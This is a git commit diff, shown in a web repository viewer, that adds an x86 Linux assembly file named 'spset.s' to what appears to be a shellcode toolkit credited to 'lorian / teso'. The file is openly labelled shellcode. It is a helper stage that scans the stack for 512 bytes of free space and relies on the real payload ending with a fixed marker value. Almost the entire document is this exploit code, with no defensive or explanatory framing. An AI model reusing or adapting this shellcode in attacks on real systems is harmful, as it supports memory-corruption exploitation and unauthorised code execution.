summaryrefslogtreecommitdiff
path: root/other/shellkit/x86_linux/spset.s
diff options
context:
space:
mode:
Diffstat (limited to 'other/shellkit/x86_linux/spset.s')
-rw-r--r--other/shellkit/x86_linux/spset.s36
1 files changed, 36 insertions, 0 deletions
diff --git a/other/shellkit/x86_linux/spset.s b/other/shellkit/x86_linux/spset.s
new file mode 100644
index 0000000..9bc19f4
--- /dev/null
+++ b/other/shellkit/x86_linux/spset.s
@@ -0,0 +1,36 @@
1/* x86 spset shellcode
2 *
3 * lorian / teso
4 */
5 .globl cbegin
6 .globl _cbegin
7 .globl cend
8 .globl _cend
9
10/* searches for 512 bytes "free" space on stack without destroying it
11 * like any kind of call would do...
12 *
13 * NOTE: your real shellcode must be terminated with
14 * \x78\x56\x34\x12 for this code to work...
15 */
16
17_cbegin:
18cbegin:
19
20 movl $0x12345678, %eax
21a:
22 cdq
23 movb $0x02, %dh
24b:
25 popl %ebx
26 pushl %ebx
27 incl %esp
28 decl %edx
29 jz c
30 cmpl %eax, %ebx
31 je a
32 jmp b
33c:
34
35_cend:
36cend: